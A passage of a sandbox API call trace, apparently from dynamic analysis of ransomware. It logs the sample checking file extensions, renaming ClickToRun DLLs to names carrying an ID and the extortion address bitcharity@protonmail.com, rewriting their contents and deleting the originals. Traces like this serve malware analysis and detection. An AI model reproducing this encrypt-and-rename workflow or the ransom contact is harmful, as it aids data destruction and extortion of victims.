(lpString1=".doc", lpString2=".dll") returned 1 [0289.267] lstrlenW (lpString=".docx") returned 5 [0289.267] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0289.267] lstrlenW (lpString=".pdf") returned 4 [0289.267] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.267] lstrlenW (lpString=".xls") returned 4 [0289.267] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.267] lstrlenW (lpString=".xlsx") returned 5 [0289.267] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0289.267] lstrlenW (lpString=".ppt") returned 4 [0289.267] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0289.267] lstrlenW (lpString=".zip") returned 4 [0289.267] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.267] lstrlenW (lpString=".rar") returned 4 [0289.267] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.267] lstrlenW (lpString=".bz2") returned 4 [0289.267] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.267] lstrlenW (lpString=".7z") returned 3 [0289.267] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0289.267] lstrlenW (lpString=".dbf") returned 4 [0289.267] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0289.268] lstrlenW (lpString=".1cd") returned 4 [0289.268] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0289.268] lstrlenW (lpString=".jpg") returned 4 [0289.268] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0289.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0289.268] lstrlenW (lpString=".doc") returned 4 [0289.268] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.268] lstrlenW (lpString=".docx") returned 5 [0289.268] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0289.268] lstrlenW (lpString=".pdf") returned 4 [0289.268] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.268] lstrlenW (lpString=".xls") returned 4 [0289.268] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.268] lstrlenW (lpString=".xlsx") returned 5 [0289.268] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0289.268] lstrlenW (lpString=".ppt") returned 4 [0289.268] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0289.269] lstrlenW (lpString=".zip") returned 4 [0289.269] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.269] lstrlenW (lpString=".rar") returned 4 [0289.269] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.269] lstrlenW (lpString=".bz2") returned 4 [0289.269] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.269] lstrlenW (lpString=".7z") returned 3 [0289.269] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0289.269] lstrlenW (lpString=".dbf") returned 4 [0289.269] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0289.269] lstrlenW (lpString=".1cd") returned 4 [0289.269] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0289.269] lstrlenW (lpString=".jpg") returned 4 [0289.269] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.269] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.269] lstrlenW (lpString="AppVIntegration.dll") returned 19 [0289.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0289.269] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=2118360) returned 1 [0289.269] CloseHandle (hObject=0x10dc) returned 1 [0289.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20 [0289.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.270] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0289.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0289.270] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[bitcharity@protonmail.com].com"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1 [0289.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0289.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0289.271] lstrlenW (lpString=".doc") returned 4 [0289.271] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.271] lstrlenW (lpString=".docx") returned 5 [0289.271] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0289.271] lstrlenW (lpString=".pdf") returned 4 [0289.271] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.271] lstrlenW (lpString=".xls") returned 4 [0289.271] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.271] lstrlenW (lpString=".xlsx") returned 5 [0289.271] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0289.271] lstrlenW (lpString=".ppt") returned 4 [0289.271] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0289.271] lstrlenW (lpString=".zip") returned 4 [0289.271] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.271] lstrlenW (lpString=".rar") returned 4 [0289.271] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.271] lstrlenW (lpString=".bz2") returned 4 [0289.271] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.271] lstrlenW (lpString=".7z") returned 3 [0289.271] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0289.272] lstrlenW (lpString=".dbf") returned 4 [0289.272] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0289.272] lstrlenW (lpString=".1cd") returned 4 [0289.272] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0289.272] lstrlenW (lpString=".jpg") returned 4 [0289.272] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0289.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0289.272] lstrlenW (lpString=".doc") returned 4 [0289.272] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.272] lstrlenW (lpString=".docx") returned 5 [0289.272] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0289.272] lstrlenW (lpString=".pdf") returned 4 [0289.272] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.272] lstrlenW (lpString=".xls") returned 4 [0289.272] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.272] lstrlenW (lpString=".xlsx") returned 5 [0289.272] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0289.272] lstrlenW (lpString=".ppt") returned 4 [0289.272] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0289.272] lstrlenW (lpString=".zip") returned 4 [0289.272] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.272] lstrlenW (lpString=".rar") returned 4 [0289.272] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.272] lstrlenW (lpString=".bz2") returned 4 [0289.272] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.272] lstrlenW (lpString=".7z") returned 3 [0289.272] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0289.273] lstrlenW (lpString=".dbf") returned 4 [0289.273] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0289.273] lstrlenW (lpString=".1cd") returned 4 [0289.273] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0289.273] lstrlenW (lpString=".jpg") returned 4 [0289.273] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.273] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.273] lstrlenW (lpString="AppVIsvApi.dll") returned 14 [0289.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0289.273] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=468696) returned 1 [0289.273] CloseHandle (hObject=0x10dc) returned 1 [0289.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20 [0289.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0289.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0289.274] lstrlenW (lpString=".doc") returned 4 [0289.274] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.274] lstrlenW (lpString=".docx") returned 5 [0289.274] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0289.274] lstrlenW (lpString=".pdf") returned 4 [0289.274] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.274] lstrlenW (lpString=".xls") returned 4 [0289.274] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.274] lstrlenW (lpString=".xlsx") returned 5 [0289.274] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0289.274] lstrlenW (lpString=".ppt") returned 4 [0289.274] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0289.274] lstrlenW (lpString=".zip") returned 4 [0289.274] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.274] lstrlenW (lpString=".rar") returned 4 [0289.274] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.274] lstrlenW (lpString=".bz2") returned 4 [0289.274] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.274] lstrlenW (lpString=".7z") returned 3 [0289.274] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0289.274] lstrlenW (lpString=".dbf") returned 4 [0289.274] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0289.274] lstrlenW (lpString=".1cd") returned 4 [0289.274] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0289.275] lstrlenW (lpString=".jpg") returned 4 [0289.275] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0289.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0289.275] lstrlenW (lpString=".doc") returned 4 [0289.275] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.275] lstrlenW (lpString=".docx") returned 5 [0289.275] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0289.275] lstrlenW (lpString=".pdf") returned 4 [0289.275] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.275] lstrlenW (lpString=".xls") returned 4 [0289.275] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.275] lstrlenW (lpString=".xlsx") returned 5 [0289.275] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0289.275] lstrlenW (lpString=".ppt") returned 4 [0289.275] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0289.275] lstrlenW (lpString=".zip") returned 4 [0289.275] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.275] lstrlenW (lpString=".rar") returned 4 [0289.275] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.275] lstrlenW (lpString=".bz2") returned 4 [0289.275] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.275] lstrlenW (lpString=".7z") returned 3 [0289.275] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0289.275] lstrlenW (lpString=".dbf") returned 4 [0289.275] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0289.275] lstrlenW (lpString=".1cd") returned 4 [0289.275] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0289.275] lstrlenW (lpString=".jpg") returned 4 [0289.276] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.276] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.276] lstrlenW (lpString="AppvIsvStream32.dll") returned 19 [0289.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0289.276] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=396960) returned 1 [0289.276] CloseHandle (hObject=0x10dc) returned 1 [0289.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 0x20 [0289.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0289.276] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.276] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0289.277] GetLastError () returned 0x0 [0289.277] ReadFile (in: hFile=0x10dc, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x60ea0, lpOverlapped=0x0) returned 1 [0289.285] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x60eb0, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x60eb0, lpOverlapped=0x0) returned 1 [0289.292] ReadFile (in: hFile=0x10dc, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0289.292] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xfa, lpOverlapped=0x0) returned 1 [0289.292] SetEndOfFile (hFile=0x10e0) returned 1 [0289.292] CloseHandle (hObject=0x10e0) returned 1 [0289.292] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.292] SetEndOfFile (hFile=0x10dc) returned 1 [0289.296] CloseHandle (hObject=0x10dc) returned 1 [0289.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0289.296] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 1 [0289.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0289.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0289.297] lstrlenW (lpString=".doc") returned 4 [0289.297] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.297] lstrlenW (lpString=".docx") returned 5 [0289.297] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0289.297] lstrlenW (lpString=".pdf") returned 4 [0289.297] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.297] lstrlenW (lpString=".xls") returned 4 [0289.297] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.297] lstrlenW (lpString=".xlsx") returned 5 [0289.297] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0289.297] lstrlenW (lpString=".ppt") returned 4 [0289.297] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0289.297] lstrlenW (lpString=".zip") returned 4 [0289.297] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.297] lstrlenW (lpString=".rar") returned 4 [0289.297] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.297] lstrlenW (lpString=".bz2") returned 4 [0289.297] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.297] lstrlenW (lpString=".7z") returned 3 [0289.297] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0289.297] lstrlenW (lpString=".dbf") returned 4 [0289.297] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0289.297] lstrlenW (lpString=".1cd") returned 4 [0289.297] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0289.298] lstrlenW (lpString=".jpg") returned 4 [0289.298] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0289.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0289.298] lstrlenW (lpString=".doc") returned 4 [0289.298] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.298] lstrlenW (lpString=".docx") returned 5 [0289.298] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0289.298] lstrlenW (lpString=".pdf") returned 4 [0289.298] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.298] lstrlenW (lpString=".xls") returned 4 [0289.298] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.298] lstrlenW (lpString=".xlsx") returned 5 [0289.298] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0289.298] lstrlenW (lpString=".ppt") returned 4 [0289.298] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0289.298] lstrlenW (lpString=".zip") returned 4 [0289.298] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.298] lstrlenW (lpString=".rar") returned 4 [0289.298] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.298] lstrlenW (lpString=".bz2") returned 4 [0289.298] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.298] lstrlenW (lpString=".7z") returned 3 [0289.298] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0289.298] lstrlenW (lpString=".dbf") returned 4 [0289.298] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0289.299] lstrlenW (lpString=".1cd") returned 4 [0289.299] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0289.299] lstrlenW (lpString=".jpg") returned 4 [0289.299] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.299] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.299] lstrlenW (lpString="AppvIsvStream64.dll") returned 19 [0289.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0289.299] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=473760) returned 1 [0289.299] CloseHandle (hObject=0x10dc) returned 1 [0289.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft 